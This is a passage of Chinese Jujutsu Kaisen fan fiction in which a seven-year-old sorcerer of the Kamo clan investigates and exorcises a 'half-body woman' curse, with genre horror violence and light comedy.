这是加茂家在藤原千代来到加茂家以后,第一次召开的关于他的会议,当然藤原千代本人并没有资格出场。
就在刚刚,这群人还在讨论藤原千代被特级咒灵盯上的事情。
一群人争吵着没完,有说加大训练强度让他赶紧增强实力的,有说不要让他再出加茂家防止死外面的,更有甚者已经开始考虑到他可能会早死,让他成年后赶紧为家族留下子嗣,以免浪费了血脉天赋的。
一群人争执不下,吵的加茂家主头大,但他只是静静地等了一下。
……
果然在加茂健太搅局之下,所有人都安静了,也不吵也不闹更不嚷嚷着让加茂千代配种了。
全都绿着脸等加茂家主下命令。
而了解加茂千代体质问题的加茂家主知道加强训练根本无法使得他的能力迅速提升。
远远不如实战中提升来的快。
更何况流言之下,只有迅速将加茂千代的能力和实力展现在人前,才能堵住悠悠众口。
七岁的特二级咒术师足以吸引所有人的目光,板上钉钉的证件总比无凭无据的特级咒灵更使人信服。
加茂家的祖传术式根本无需自证。
至于后续可能会招来的诅咒师,加茂健太一人就能够保护好他了,再说一次,这小子的脑子不行,但实力是足够的。
思考后,他沉声说道:“先去总监会为加茂千代申请特二级咒术师,方便后续接取祓除咒灵的任务。”
“当他展现了自身的超强实力后,流言会不攻而破。至于那个咒灵,继续派人寻找,和总监会那边商量一下,直接备注为准特级。”
吩咐完后,加茂家主看了看逐步行动起来的众人,问了句还有没有人有异议后就宣布散会。
当然,他留下了加茂健太。
考虑到加茂千代是天与咒缚的事情目前只有他们二人知道,也并不方便被更多人知晓。
他咬了咬牙还是将挑选咒灵的任务交给了加茂健太。
但因为知晓加茂健太的不靠谱,再三嘱咐他一定要多加小心,同时挑选完任务后记得给自己过目后,再带加茂千代去祓除。
目前加茂家就这么一个赤血操术。为了他的千年大业,可别给他养死了。自己可不想现在就把九相图的老大复活。
那是另一笔麻烦账,即便复活也并不一定能比加茂健太用的省心。
而刚刚并未参加家会议的藤原千代,此时正在小屋里迎接一位来客。
没错,就是加茂健太安排来的小岛葵。也是在自己刚刚苏醒的时候,强行按着自己的头向加茂家几个人鞠躬的那个女人。
她自称是藤原千代母亲为他安排的人,从他还小的时候就开始照顾他。因此在他被送到加茂家的时候一同被送了过来。
并一来就接手了藤原千代的一切生活安排。从穿衣洗脸生活作息
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,到举止行为相处礼仪她统统纠正了个遍。
但凡藤原千代哪项不听,她就会一直念叨,耳提面命嘟囔个不停,听的人头大。
但是她却没有发现面前这个七岁孩子内里已经换了个芯子。
同时据她所说,小千代在藤原家的时候就很沉默寡言,为人处世也很呆愣木讷,是个不折不扣的笨小孩。
虽然同样到来的不久,但小岛葵看得很明白,与结构简单的藤原家不同,加茂家一片死水之下隐藏的却是能将人溺毙的漩涡。
她不了解什么是咒术界,也不知道赤血操术究竟是多稀缺,她只是简单的以内宅女仆的身份在想,想藤原千代这样的笨孩子要在加茂家活下去,第一要义就是听话。
与在藤原家的听话不同,在加茂家他需要表现出绝对的服从性,从礼仪到能力必须符合加茂家的要求。
这样,藤原…不…加茂千代这个笨孩子才能活下去。
小岛葵有时候自己都不知道她看的究竟是七岁的藤原千代,还是那位生下他后不久就死去的藤原夫人。
或者说中村真由美,她还是更愿意叫她未曾嫁人时的名字。
她曾无数次怨恨过这个孩子,是他的到来导致了真由美的身体逐渐衰败,走向死亡。
但又不得不爱他,这孩子是真由美死去后留下的为数不多的东西。
剩下的都被藤原家那个疯子毁了,什么诅咒不诅咒的她不懂,她只知道连真由美的墓地都被他藏了起来!
现在那个疯子倒是死了,真由美的墓地却根本无人知晓。
但来到加茂家以后,看到宅院中的女人们,她又扭曲地感到庆幸。
庆幸真由美嫁给的是藤原家,而不是加茂。
庆幸真由美的离去让她不会再因这个赤血操术遇到更多的污糟事。
小岛葵看了看面前的孩子,心想:我会代替你继续爱他,中村真由美。
藤原千代感受得到面前女人对自己的扭曲感情,内心复杂。
他仅存的记忆没有办法帮他处理分析出如何面对这种人。
真心实意的关心爱护,但又夹杂着不为人道的埋怨与憎恨,如跗骨之蛆,挥之不去。
至于在听到是加茂健太觉得自己照顾不好他以后专门调来小岛葵后,藤原千代更加无力吐槽。
这个家伙和自己真是八字不合,别人故意找茬都做不出加茂健太的效果。偏偏这家伙还都是真心实意的为他考虑,找来的小岛葵也确实是尽心尽力的照顾自己,二人比加茂家的其他人都要真诚许多。
但同时这也是藤原千代最不能理解的一点,究竟怎么会有人能够真心实意地为别人添了那么多麻烦啊!
而被疯狂吐槽的加茂健太在被家主安排为加茂千代挑选合适的咒灵任务后,也确实兢兢业业的开始筛选了起来。
按照之前的测试结果来看,加茂千代可选择的咒灵任务还是很多的。
但如果想要满足家主要求,可以快速打出特二级咒术师的名号。就需要多加挑选了。
一般而言这样的任务危险程度也会随之拔高。但加茂健太一想到自己之前给少主大人甚至带来了一只准特级进行祓除测试,他就有些汗颜。
因此更加尽心尽力地为加茂千代筛选了起来。
终于功夫不负有心人,真让他找到了一个合适的咒灵任务。
9. 第 9 章
木质吧台上方的灯笼轻轻摇动,泛出的暗红光影也随之流动,又经过裸露在外的粗糙红砖反射,最终只留下了柔和而暧昧的光泽。
红色灯笼和暖帘上的文字无一不彰显着这是一家居酒屋。
陶瓷杯盏的清脆碰撞声和男女的低语声交织,在此处是如此的和谐而寻常。
唯一不协调的,是在墙面镶嵌着的浮世绘版画下,独自一人喝着清酒的松下拓哉。
男人手边的酒壶泛着白瓷的温润光泽,微微摇晃,里面的酒液也即将见底。
“喝完酒就回去吧。”
虽然因日本的特殊文化影响,在外工作的男人回家太早没有参与应酬的话,会被视为无能和废物。
但此时家中并无他人的松下拓哉并没有这种忧虑。
听着周围人的交谈声,松下拓哉回想到,和渡边京子的初遇正是在这里。
那时和现在一样,他因职场上的郁闷而独自一人喝酒,遇到了同样独身一人的渡边京子。
二人攀谈了一阵后,就心照不宣的约到了一处酒店。
后续的发展也是水到渠成。
唯一没有料想到的是,他本以为这段关系就只是平常生活的一味调剂而已,却被这个女人缠身,不得解脱。
“叮咚,叮咚。”
门铃声一遍遍的响起,邮递员一次次地离开。
一封接着一封桃粉色的信被塞入门口的信箱。
起初他还会有闲情雅致看上一看,但现在已经是连信箱都不想打开了,无聊至极。
“松下先生,我想知道你和今天早晨站在你旁边的那个女人很熟悉吗,比我和你还要熟悉吗?”
“松下先生,我给你买的那些红色衣服,你为什么最近没有再穿了呢?你不是最喜欢红色的东西吗。”
“松下先生,我给你送了那么多的信,你为什么不理我呢,是我做错了什么让你厌恶了吗?”
“松下先生,我一直在看着你,为什么你不能一直注视着我呢?”
好烦,烦死了。
这个女人,明明只是一夜情的关系,为什么不能认清自己的位置。反而一而再,再而三的纠缠个不停,最后闹得大家都不体面。
松下拓哉微微抬手,将酒液送入喉中。
好在,她现在已经不会再来打扰自己了。
酒最后一滴液被饮尽,松下拓哉意识到自己也该回家了。
家里还有东西需要处理,门口信箱里面层层堆叠的信也该收拾一下了。
现在,他也终于又有了兴致去看一看渡边小姐给自己留下什么信件了。
吧嗒,吧嗒。
松下拓哉走在回去的路上。昏黄的灯光下只有他一人。脚步声在安静的街道中很明显,一声接着一声。
“吧嗒,吧嗒。”
居酒屋距离他居住的地方并不远,很快他就遥遥就望到了自己门前的信封。
松下拓哉在公文包里摸索了一阵钥匙,打开了信箱门。
血红色的信封如瀑布般洒下,落了一地。
“什么吗,这个女人…之前不是用的桃粉色的吗,怎么改用成红色了……”
松下拓哉弯腰捡起地面散落的红色信封,叠放在一起。
摸了一手黏腻。
几个小时前有下过雨,地面还是湿的,信落在地上被浸湿了。
“脏死了,一会直接扔了算了。”
“吧嗒吧嗒”
松下拓哉听到了身后响起的脚步声,以为是有谁下班路过,没有太过在意。
抬起身想要直接回家。微微扭头时却发现身后空无一人。
但身后吧嗒吧嗒的脚步声却没停。
“声音好像是从下方传来的,啊,应该是小狗吧。”
松下拓哉心脏狂跳,浑身僵硬。脚步不停的往家门口走去。手指颤抖地拿着钥匙,打开了房门冲了进去。
砰的一声将门关上又反锁后,他背靠着入户门滑坐下来,长舒了一口气。
血红的信封们失手被他散落了一地,松下拓哉没有再捡起。
吧嗒吧嗒的声音被隔绝在门外,听不见了。
松下拓哉狂跳的心脏逐渐平静。冷静下来后,他暗自嘲笑自己的胆小。
什么吗,完全是自己吓自己。
松下拓哉抹了抹脸,摘下了眼镜。丝毫不在意地踩过了地上的信件,朝盥洗室走去。
他打开水龙头用冷水洗了一把脸。微醺的酒气经过这一系列的事情已经散的差不多了。
正当他注视着镜中自己面容的时候,却发现镜面中,自己身后的转角处好像出现了一把镰刀,刀刃处还微微发红,好像流淌着血迹。
“那是什么?”松下拓哉将眼镜戴上,感慨自己真是醉迷糊了。
但周遭的景象清楚了以后,松下拓哉瞳孔紧缩。
没有看错,确实是一把带血的镰刀,并在不断向自己靠近。
吧嗒吧嗒的声音再次响起。
松下拓哉这才看清,根本不是什么脚步声也不是什么小狗。
而是一个只剩下上半身的女人,手肘撑在地面爬行所发出的声响。
“去死!去死去死!!!”女人口中撕扯的出沙哑的吼叫。
极度惊恐之下的松下拓哉一点声音都发不出来,几欲瘫软。
但为了活命,他丝毫不敢耽误。顺手将手边的东西冲她丢了过去后,踉跄着从盥洗室里冲了出去。
女人见松下拓哉逃走,挥舞着镰刀向前爬行。
而刚刚松下拓哉扔过来的东西则是从女人身体之间穿过,重重地砸到了地上。
她没有实体。
松下拓哉冲到门前疯狂按压门把手,但无论如何都无法打开大门,气得他狠狠踹了一脚并疯狂拍门。
等到他突然意识到自己刚刚进屋时因为害怕将门反锁了起来,伸手去转反锁阀的时候,身后女人已然追了上来。
巨大的镰刀挥砍而下,血液瞬间从松下拓哉的腰际喷涌而出,喷洒到了天花板上。
“滴答,滴答”
血液又从天花板落下,滴在松下拓哉的脸上。
“啊!!!啊啊啊……啊啊啊啊啊啊!”
刚刚因极度惊恐而失声的松下拓哉,此时此刻又因剧烈的疼痛而恢复,喊出了此生最后的声音。
被腰斩后仅剩上半身的松下拓哉没有立刻死去,得益于肾上腺素的作用,他还可以用最后的力气,用手肘称着地面向前蠕动。
他哀嚎着爬向远离女人的地方。
“吧嗒吧嗒。”
直至意识涣散的最后一刻,他突然想到渡边京子被自己杀死的时候,是不是也曾和自己一样呢?
刚刚被松下拓哉毫不在意丢在地上的信封,被镰刀挥砍时带来的气流裹挟,漂浮在空中。
一封用血红笔墨书写的信纸飞了出来。
“松下先生,我们会永远在一起”
信纸悠悠荡荡地又飘到了松下拓哉身下的血泊之中,慢慢被血液浸染,直至字迹再也看不清楚,完全变成了一张红纸。
……
“最近京都出现了几例恶性案件,受害者都被拦腰斩断,死相凄惨。相关人员上报到总监部后,被派去的窗在凶案现场检测到了同一种咒灵的咒力残秽。”
“最初被分配任务的咒术师到现场观察后发现咒力量浓度很高,推断为一级咒灵。向总监部报告后,任务就转交了我们加茂家的手中。”
“加茂家的调查人员根据几位受害者背景和身份的统一调查,推测为一级幻想咒灵,半身女。”
加茂健太为
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藤原千代介绍道,二人正坐车前往京都左京区,也是最后一起案件出现的地方。
“最后的一个受害者名为松下拓哉,被半身女拦腰砍断后又向前爬行了几米才死亡,死前遭受到了极大地痛苦,案发地惨不忍睹。”
“除此之外,窗的人还在松下拓哉的房屋内找到了陌生女性肢体,经调查属于其女友渡边京子。推测为松下拓哉因杀害女友招致了咒灵半身女的标记,最终被残忍杀害。”
考虑到这是藤原千代第一次出任务,加茂健太格外重视这次的任务资料,并准备借此来扭转自己在少主眼中的不靠谱形象。
于是从上车开始他就替代了藤原千代原本被分配的的辅助监督,一直在为藤原千代介绍任务。
搞的副驾驶坐着的辅助监督无所适从。但他隶属于总监会,手上的任务资料根本没有加茂家准备的全面。
因此他对于加茂健太抢夺工作的行为完全无法指摘,更不敢多说什么,只能默默降低自己的存在感。
只要总监会给发工资,他就全当自己在带薪休假,至于在哪里休假你别管。
“这次任务虽然是一级咒灵,但半身女的一级强度是靠束缚而换来的,她的术式对于不忠贞男性的攻击性远远超过了其他人。咳……这也是上一位被派去祓除咒灵的咒术师向总监会寻求帮助的原因。”
“而对于少主您来说半身女的等级介于二级和准一级之间。祓除她的任务,最难的是如何发现她的踪迹并引诱出来。”
“但再怎么说,她也是一级咒灵。如果您能成功祓除,会立刻抹消您在御三家之间的流言蜚语,这也会是您最安全迅速的扬名方法。”加茂健太说道。
藤原千代翻看着任务资料,发现这个任务确实很适合自己。
一级幻想咒灵半身女,衍生于都市恐怖传说,被爱情背叛而死的半身少女手持巨大镰刀,会将所有背叛爱情的男人拦腰砍断。
但现在摆在他面前唯一的问题是,按照标记顺序来说,这位松下拓哉应该排在那个被标记了的咒术师之后,但是为什么他会提前触发了咒灵的攻击。
这也是加茂健太和藤原千代沿着这位松下拓哉的踪迹需要调查出的答案。
二人来到了最初的那家居酒屋,这是半身女的咒灵残秽出现的第一个地点。
发生了如此骇人的一级咒灵凶杀案,这家居酒屋经过交涉,已经暂停营业。
店内也围着一群前来调查的警察。
咒灵的存在并没有公之于众,因此即便确定了是咒灵导致的案件,在周遭居民报警后,当地搜查一课依旧会派警察前来调查。
但至于调查结果如何,就不是他们能够插手的了。
但在看到七岁的藤原千代进入案发现场的时候,不了解内情的人员想要上前询问,却被一旁同辅助监督交涉的上级劝阻了下来。
二人得以没有任何阻拦的进入,顺着咒力残秽的痕迹开始调查。
“根据居酒屋的老板说,当时松下拓哉就是坐在这个位置。”加茂健太指了指那幅浮世绘画下面的位置。
甫一进来,藤原千代就发现了这幅浮世绘版画。画面中的是一个身着正红色的振袖和服,梳着高岛田髻的艺伎。她手中举着一把红伞在一片大雪中侧身回望,微微低头。
而与这充斥日式风情的画面不协调的是,盘旋在版画上充满恶意的咒力残秽,层层叠叠。
想必在松下拓哉在此处喝酒时,半身女就一直盘旋在浮世绘版画上盯着他。
但因为没有显露出杀意,所以身为普通人的松下拓哉看不到她。
二人继续顺着咒力残秽一路查看,最终走进了松下拓哉的屋内。
发现咒力残秽最浓郁的物品,是入户处洒落一地的红色信件。
信有什么特殊的吗?
10. 半身女:渣男去死吧 中
藤原千代蹲在地上仔细观看着散落一地的信件,思索着究竟是因为什么才让半身女注意到了这一地的信件。
他伸出手就准备直接捡起这些信件一一观看。
加茂健太看到后立马递给了他一双手套,防止他直接上手去抓,并紧张地说道,“埋汰,少主!您戴上手套再拿起来看吧。”
藤原千代没有拒绝他的好意,接过来低下头仔细戴在手上后,又抬起头看向加茂健太。
他微微有些好奇的问道:“你怎么会随身携带这些东西,这也是什么咒具吗?”
“咒灵死亡案件嘛,一般现场都会比较血腥。今天这个死在市区里被发现的比较早,也没有大小便失禁什么的,算比较体面的了。”
“我之前还遇到过那种死在深山老林的,等了好久才被发现的尸体。血什么的都算是好的了,主要是还有什么尿液啊,尸体流淌的脓液啊,满地乱爬的蛆什么的。带个手套能干净点。”
“对了,我带了防毒面具,但是这个现场不是很臭,用不上。”
说着他就要给藤原千代展示他的百宝箱。
“……算了,还是任务重要。”藤原千代摆了摆手,婉拒了。
被恶心了一手的藤原千代不敢再多说什么,生怕加茂健太再兴致勃勃地分享他的那些经验之谈。
他弯下腰随手捡起了周围散落的几个信封,小心翼翼地打开了一封又一封。想知道这些信件里有没有什么线索。
结果看到了渡边京子写给松下拓哉的扭曲又露骨的话语。
时年七岁,死前也不大的藤原千代:
……
他被信里的内容刺激到涨红了脸,但还是强忍着一目十行地将大部分信件看完,又颤抖着双手将信件塞了回去。
藤原千代低下头平复了一下刚刚受到满屏黄色暴击的心神,瓮声瓮气地向加茂健太询问道:“咒灵认字嘛?”
“嘶……以这种一级咒灵的智商水平来看的话,应该不太可能认字的。特级咒灵的智商挺高,但是也完全没有必要学吧,它们又不用工作。”
加茂健太听到藤原千代的问题后,思索了一会回答道。
“好,那我大概明白咒灵提前攻击的原因了。我们走吧,去找那个被标记的咒术师。”
藤原千代将散落在周遭的信件整理好,起身将它们一同叠放到了玄关处的柜子上,抬脚就往外走去。
加茂健太站在一旁,看藤原千代问了两个莫名其妙的问题后就得出了答案,稍微有些摸不到头脑。
即便面前的孩子才七岁,但加茂健太也没有怀疑他的言论,而是对他怀有极高的信任。在听到藤原千代说自己明白了以后,立马跟随他的脚步一起向外走去。
刚想开口询问,就听到藤原千代就好像是预料到一样,没有丝毫停顿地为他解释。
“半身女一直在被红色的物品吸引,或者说挑衅。”
“咒灵不识字,也够呛能欣赏什么浮世绘的版画。咒力残秽聚集在这两处又提前杀死松下拓哉的原因,只需要往简单的地方去想就行了,例如颜色、图案什么的。”
“居酒屋的画和这个信件都有一个共同的特点,就是都拥有大片的红色。”
“同时渡边京子给松下拓哉的信中提到了,松下拓哉酷爱红色。因此渡边京子给他买了许多红色衣服。”
“之前我们去松下拓哉的公司调查过,松下拓哉也确实总爱穿一身红。即便杀了渡边京子,也一直穿着她送的这些红衣服。
“几相结合,才导致松下拓哉揽下了半身女大部分的仇恨,提前招致了杀身之祸。”
就在藤原千代解释的时候,两个人此时已经走到了辅助监督开的车附近,他们拉开车门坐到了后座,准备去找那一位被标记了的咒术师。
通过他来将半身女提前引诱出来,进而祓除她。
坐在车上赶路的时候,藤原千代突然问道:“如果今天没有发现半身女会被红色物品吸引而提前现身这一线索,我们要怎么安排接下来的行程呢?”
“让那个被标记的咒术师一直跟在我旁边。咒灵总会出现的,到时候直接祓除了就行。”
加茂健太不认为这是一个什么难以回答的问题,不假思索地说。
“但是咒灵的死亡条件可能还会被提前触发,万一下一次被盯上的还是一个普通人呢?”
藤原千代继续追问,他清脆的声音在车内响起,带有孩童独有的天真韵律。
“那不重要,如果不能快速调查出这个咒灵的踪迹,总监会只会继续为我们派发新的咒灵任务。”
“每时每刻都会有人因为咒灵而死去。换句话说,只有高效迅速地祓除咒灵才能拯救更多的人。”
加茂健太了解小孩子总会有拯救世界的天真想法,他也不介意用孩子更能接受的话语将这个残酷的事实摆在藤原千代的面前。
“咒术师的祓除工作是不会因为这几个可能会提前死去的人而停下的,我们要做的只是从咒灵手中救人,但具体是从哪个咒灵手中救哪些人,这并不重要。”
当然,事实究竟是不是和加茂健太说的一样,总监会一直向咒术师派发祓除咒灵的任务是为了救更多的人,更不重要。
在听到加茂健太的回答以后,藤原千代得以窥见了千年来咒术界残酷而高效的运行机制的一角,看到了展露在他面前的咒术师的生存法则。
听话,以及不去思考。
“那照这么说,我是不是很快就需要独立做任务了?”藤原千代声音有些发紧。
但他听到自己稚嫩的嗓音后,恍恍惚惚意识到自己现在的身体才七岁,竟然已经就要成为总监会的社畜和牛马了。
童工都不能这么雇佣吧,咒术界里的人完全都不用上学的吗!
一群法制咖,资本家!全都应该被吊在路灯上!
“等少主您独立祓除这个咒灵以后,我确实就不会再和您一起出任务了。毕竟,咒术界真的很缺人啊!”
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“但总归您现在才七岁嘛,很多事情没有成年人在是没办法独立完成的。因此加茂家到时候会为您再搭配一位术式合适的二级或三级咒术师一起工作。等您再大一点就可以只安排一个辅助监督协调您任务了。”
辅助监督坐在前方驾驶位开车,此刻停在了一栋有着木质外墙的一户建门前。他适时地打断了二人的对话,“大人们,目的地到了”。
他们来到了那位咒术师的家门口。
二人打开车门下车,加茂健太安排辅助监督在附近找个地方停车等着就行,不用再跟过来。
“诸君武运昌顺。”
车窗临关上前,藤原千代注意到这位辅助监督看向自己的眼神微微带了些同情,像是在看即将出棚的新鲜小牛马。
看来咒术界还是有正常人知道七岁孩子根本不应该去祓除咒灵的!
……
下车后,加茂健太先一步走在前面,停在了写着“佐藤宅”的门牌前,按了按门铃。
“叮咚叮咚”的声音响起,但并无人前来应答。
二又在门口耐心等待了一会后,一个青年拉开木门直接走了出来。
来人大约二十来岁,身量较高,浑身肌肉匀称,穿着一身米白色的家居服。
他应该就是二人要找的咒术师了。
藤原千代抬头看过去,发现青年有着一头卷翘的亮红色头发,和琥珀一般的蜜色皮肤。两种颜色的对比之下,给人带来极强的视觉冲击感。
“又是红色。”藤原千代心想。
在藤原千代打量他的时候,站在门口的红发青年也在打量自己面前的两人。
一个平平无奇浑身肌肉虬结,穿着无趣和服,三十岁左右的男人。真是可惜了那身肌肉,如果他可以穿一套西装或者练功服的话,想必观赏性会更高。
以及一个不到他腰高的小鬼。
青年视线转了一圈后,挑了挑眉。微微侧头冲那个成年人说道:“肌肉练得不错,加茂家的?这小孩就是赤血操术吧。”
“是的,佐藤君。我们是来解决半身女的事情,方便进去说吗?”加茂健太语气平和地冲面前的男人说道。
鉴于大多数咒术师的脾气都很怪异,而面前的青年也仅仅只是没有用敬语罢了,他并不觉着有什么奇怪的。
就是对方打量他的眼神,让他感觉有点凉飕飕的。
“……也行,进来吧。”听到加茂健太的要求后,红发青年神情有些微妙,但还是转身带他们走了进去。
二人在青年屋内的玄关处换下鞋后,跟随青年走了进去。
他们穿过木质的走廊,踩上了楼梯来到了二楼。青年推开了一扇纸拉门,将他们带到了二楼的一间和室。
室内铺满了亚麻色的榻榻米,天花板垂落了几根红绳编制的装饰物。整个房间内就只在正中间摆放了一个空荡荡的灰色矮桌,和靠着墙上摆放的一面巨大的落地镜,其余地方什么都没有。
不太像待客的地方。
11. 半身女:渣男去死吧 下
青年略微有些尴尬的将二人带进去后,说了一声稍等,转身又从其他房间拿来了几个垫子,顺便端来了三杯热茶。
他手脚麻利的将垫子绕着矮桌放下后,又将茶杯稳稳地放在桌上,而后才招呼他们二人坐下。
“抱歉抱歉,和室不常接待客人,所以里面的东西都被我收起来了。”
三人围着矮桌跪坐在垫子上。
一片尴尬的寂静之中,加茂健太捧着那杯热茶,率先开口说道,
“佐藤君,半身女的标记规则您应该都已经了解了。除此以外,还需要和您商量的是,我们刚刚前往上一位受害者那里时,发现她还格外憎恶红色物品。因此可能需要您换上一身红色的衣服来作为诱饵来让她提前出现。”
“原来如此,那我被盯上也肯定是因为这头红色的头发了。怪不得我完全不符合她的攻击规则,还是被半身女给盯上了。”
“可恶啊,因为这个我可是被周围朋友调笑了好久啊!”
青年摸了摸自己满头的红色卷发,有些郁闷的说道。
“穿红色衣服帮忙引她出来什么的完全么有问题哦!但是我的术式偏向防御性,面对这种一级咒灵自保还是可以的,但是完全没有办法帮你们祓除。”
加茂健太并没有探究对方究竟是因为什么而触发了半身女的攻击条件,直接跳过了这个话题。
他反而对青年嘴里说的防御性术式产生了点好奇。
“那么佐藤君,方便问一下您的术式具体是什么效果吗?”
“叫我夏生就可以了。我的术式名为匣藏,可以将自身或者他人藏到周围建筑的缝隙中,借以躲避咒灵的攻击。但是这个缝隙的长度必须小于两米,否则人会掉出来。当然,人造的合适缝隙也可以。”
“因为术式的攻击性不强,所以平常都是依靠体术用咒具来祓除咒灵的,对于半身女这种一级咒灵也只能做到自保而已,让我独自祓除还是太难为人了。”
听到佐藤夏生的术式效果后,加茂健太的眼睛微微一亮,嘴上却只是宽慰道,
“攻击不用担心,少主的赤血操术完全可以做到祓除咒灵,您能同意作为诱饵来吸引半身女就已经让我们十分感谢了。”
听到加茂健太的话以后,佐藤夏生侧过头打量了一下旁边一直没有出声的藤原千代。
果然是这个小鬼负责祓除嘛,虽然拿了一张赤血操术的好牌,但加茂家也真是狠心,这么小的孩子都送出来接任务。
盯着盯着,佐藤夏生的心思微微有些跑偏:刚刚没仔细看,这个小鬼有着一张长大后肯定很带派的脸啊!
藤原千代被盯得有些发毛,微微晃了晃头。
反应过来的佐藤夏生立刻说道:“了解了解,我只负责当一个花瓶,剩下的由这位赤血操术负责对吧。”
他意识到直接用术式名字称呼别人好像不太礼貌,又补充说道:“这位……呃,加茂……”
“千代。”
藤原千代没有当着加茂健太的面反驳佐藤夏生自己其实姓藤原,而是索性直接给出了自己的名字来让他称呼。
佐藤夏生被面前小孩人冷酷回答逗了个仰倒,微微起了一些捉弄他的心思,于是夹着嗓子说道,
“好的,这位千代君。叫我夏生哥就可以啦!祓除半身女的任务,辛苦你来保护我哦~”
说完,佐藤夏生冲他眨了眨眼。
藤原千代:=﹏=
总感觉不太对劲啊,这个佐藤。
看到两人可以和谐相处的加茂健太十分满意,适时开口说道,
“那么现在就麻烦夏生君您整理出几件红色衣服。然后和我们前往加茂家准备的地方了。”
“半身女出现的时间较为随机,为了避免给周遭带来伤害,我们还是尽早出发为好。”
加茂健太此时立刻就准备出发,想要尽早完成这个任务。毕竟少主现在其他两家的印象中还是“被特级咒灵盯上了活不久”,一群蠢货!
但实际上根本不如他想的那么顺利。
只见佐藤夏生回到自己房间后换了一套又一套的衣服,询问他们的意见。
都满意的就塞进行李箱带走,不满意的就重新去换掉,直到满意。
一时间根本走不掉!
……不知道多长时间后
藤原千代十分郁闷的靠坐在墙边,看着奇迹夏生一直在玩换装游戏,生无可恋地放空了大脑。
鬼知道这个家伙为什么那么多红色衣服。
“千代君,这一件你看怎么样?”
佐藤夏生此刻换了一身大红色和服,依靠在墙边,冲藤原千代眨了眨眼。
“很帅气,夏生哥,但是会不会不太好行动啊。”
刚刚说完,藤原千代就意识到不妙。
坏。
果然,佐藤夏生照了照镜子,听到藤原千代的话后犹豫道:“确实和服会不太好行动啊,虽然我只负责当一个诱饵和花瓶,千代君会保护好我。”
“但既然千代君都说了,那我就再换一件吧!别担心,衣柜里的红色衣服好有很多呢~”
“那换一件合适行动的吧。”藤原千代不再过多思考,决定后面无论佐藤夏生再穿什么他都会拍手称赞,即便是什么大红配大绿的套装!
他现在总算知道为什么这间和室内有这么大一面镜子了。所以这根本不是待客室,是换衣间对吧!
佐藤夏生又高高兴兴地去换了一身衣服。
过了一会,他回来了。
青年换了一身红色的工装夹克,穿了一条灰色阔腿西装裤,内搭一件淡蓝色衬衫。装饰了一条红棕色领带和腰带。
再配上他一头亮红色的卷发,整个人透露着一股松弛却不失活力的感觉。
虽然没有刚刚那一身红色和服来的显眼,但这一套总归是遇到半身女的时候可以跑动了。
没等佐藤开口询问,一旁的加茂健太倒是蛮给面子按照流程开始夸赞了起来。
“帅气,合适,没问题,就这件吧!我们现在就去加茂家吧。”
虽然他根本不明白为什么搞出来这么多套红色衣服,但既然想要快点出发,那么无脑夸赞一定是对的。
一旁的藤原千代更是默契地配合鼓掌:“太帅气了,夏生哥!这件太帅了吧!就穿着直接出发吧!”
“不错不错,既然你们都这么觉着,那就这几套了,我们出发吧!”佐藤夏生合上了自己的行李箱,没有在逗他们。
藤原千代看到他终于愿意和他们出发了,也微微松了口气。算了,一个猴一个栓法,能走就行。
“咔哒,咔哒咔哒咔哒。”
三人浑身一凛,来不及了。
“生于黑暗,比暗更黑,残污垢秽,尽数祓除。”
加茂健太反应最快,几乎是和咔哒声响起的同时念咒。
漆黑的帐从天花板落
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下,将半身女和三人一同隔绝在这幢建筑内。
可能是被佐藤夏生一件又一件的换装彻底激怒,一连串的咔哒声密集而迅速的从走廊传来。
紧接着就是砰的一声,两扇木质推拉门在半身女镰刀的挥砍下裂成两块。
“渣男,去死!!!!渣男!!!!”
半身女似是被气疯了,不停的重复着这句话,然后嘶吼着扑向佐藤夏生。
“匣藏”
佐藤夏生的反应很快,这幢一户建内的每个屋内都被他留出了可以躲避的狭缝。
因此在半身女向他扑过来以后,他十分从心的直接躲了起来。
半身女失去攻击目标后,立刻爬到了天花板上,观察起了房内余下的两人。
同时,藤原千代也终于看到了他们追查了一整天的半身女的模样。
和他之前遇到的咒灵不同,没有多余的眼睛,没有流淌什么黏液,只是一个普普通通的人类女人的样子,虽然只有半个。
但这也依旧让藤原千代十分感动。终于,遇到了一个人模人样的咒灵!
藤原千代立刻决定迅速祓除这个咒灵,以免她受到过多折磨。
“百敛,穿血”
压缩的血线从藤原千代身侧携带的血包中射出。与此同时,半身女支撑着身体的手肘被凝结而成的冰块固定,让她无法移动。
超音速的血线顷刻之间穿透了半身女的身体。
“血爆”
藤原千代控制半身女的血液直接在她体内爆炸,并伪装成是自己打入半身女体内的血液的爆炸。
瞬息之间,一级幻想咒灵半身女被成功祓除,漆黑的帐逐渐散去。
阳光照射进来,漏出了只有两扇大门受损的房屋。藤原千代和加茂健太下意识顺着半身女来往的路径看过去,发现了另一个房屋内的东西。
一墙的道具。
“咳,这个家伙还挺狂野,怪不得被半身女盯上了。”加茂健太低低吐槽了一句,但介于还有藤原千代在,并没多说什么。
而藤原千代此刻正推断着它们的用处。
“手铐原来也可以用给咒灵吗?那个皮鞭会不会有点太细了,真的能祓除咒灵吗?还是其实它是什么特殊的咒具。那个蜡烛……”
等佐藤夏生从建筑的缝隙中闪身出来后,看到的就是这一幕。他顺着二人的视线往外看过去,即将脱口而出的夸赞被瞬间堵在了嘴里,整个人都变成了灰白色。
此刻,他终于领悟了自己术式的另一个用法,就是在社死的时候找一个地缝钻进去。
但他也只能认命地走上前挡住藤原千代的视线,有些破防地说道:“请别看了,千代君。”
藤原千代被挡住视线后微微有些不满,但他也只是认为咒术师不太喜欢将自己的咒具展露在人前,最终也只是说道,
“千代哥你的这些咒具真奇怪,是有什么特殊的术式效果吗?”
听到藤原千代的疑问后,佐藤夏生整个人又恢复了色彩,顿觉自己又能活了。他想要赶紧将这个话题转移,于是说道:“对对对!都是咒具,到时候我挑几个适合的咒具给你送过去,这些你都不能用。”
而原本站在一旁有些看戏的加茂健太听到佐藤夏生的话以后,整个人怒发冲冠,将蹲下和自家少主说话的青年整个提溜了起来。
怒吼道:“你要对我家少主做什么!!!”
藤原千代:?
12. 小白猫 我摸摸我摸摸
夜晚,忙碌了一整天的藤原师傅终于又躺在了他心爱的小床上。
回想今天一天,接取的第一个咒灵祓除任务圆满完成。就是不知道为什么在结束的时候加茂健太把佐藤夏生揍了一顿。
莫名其妙的。
不过,终于周遭就剩自己一个人了。
小岛葵刚调过来的时候,正是藤原千代被扣上活不长的称号时候,人心浮动之下竟然连合适的房间都没给她安排,一直住在他的屋外
导致那老破系统根本喊不出来。
如今轻松祓除了一个一级咒灵以后,谣言被不攻而破,小岛葵也被安排了房间
终于又是自己独自居住了,藤原千代此刻迫不及待地将系统呼唤了出来,问出了自己憋了好几天的问题。
